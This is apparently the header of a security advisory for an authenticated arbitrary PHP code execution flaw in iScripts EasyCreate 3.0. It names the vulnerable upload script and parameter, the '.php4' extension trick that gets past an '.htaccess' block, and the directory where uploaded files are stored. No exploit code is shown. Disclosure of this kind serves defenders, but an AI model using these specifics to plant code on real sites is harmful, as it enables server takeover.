# Vendor: iScripts.com
# Product web page: http://www.iscripts.com
# Affected version: 3.0
#
# Summary: iScripts EasyCreate is a private label online website builder. This 
# software allows you to start an online business by offering website building 
# services to your customers. Equipped with drag and drop design functionality, 
# crisp templates and social sharing capabilities, this online website builder 
# software will allow you to provide the best website building features to your

#
# Desc: iScripts EasyCreate suffers from an authenticated arbitrary PHP code
# execution. The vulnerability is caused due to the improper verification of 
# uploaded files in '/ajax_image_upload.php' script thru the 'userImages' POST 
# parameter. This can be exploited to execute arbitrary PHP code by uploading 
# a malicious PHP script file with '.php4' extension (to bypass the '.htaccess'
# block rule) that will be stored in '/uploads/siteimages/thumb/' directory.
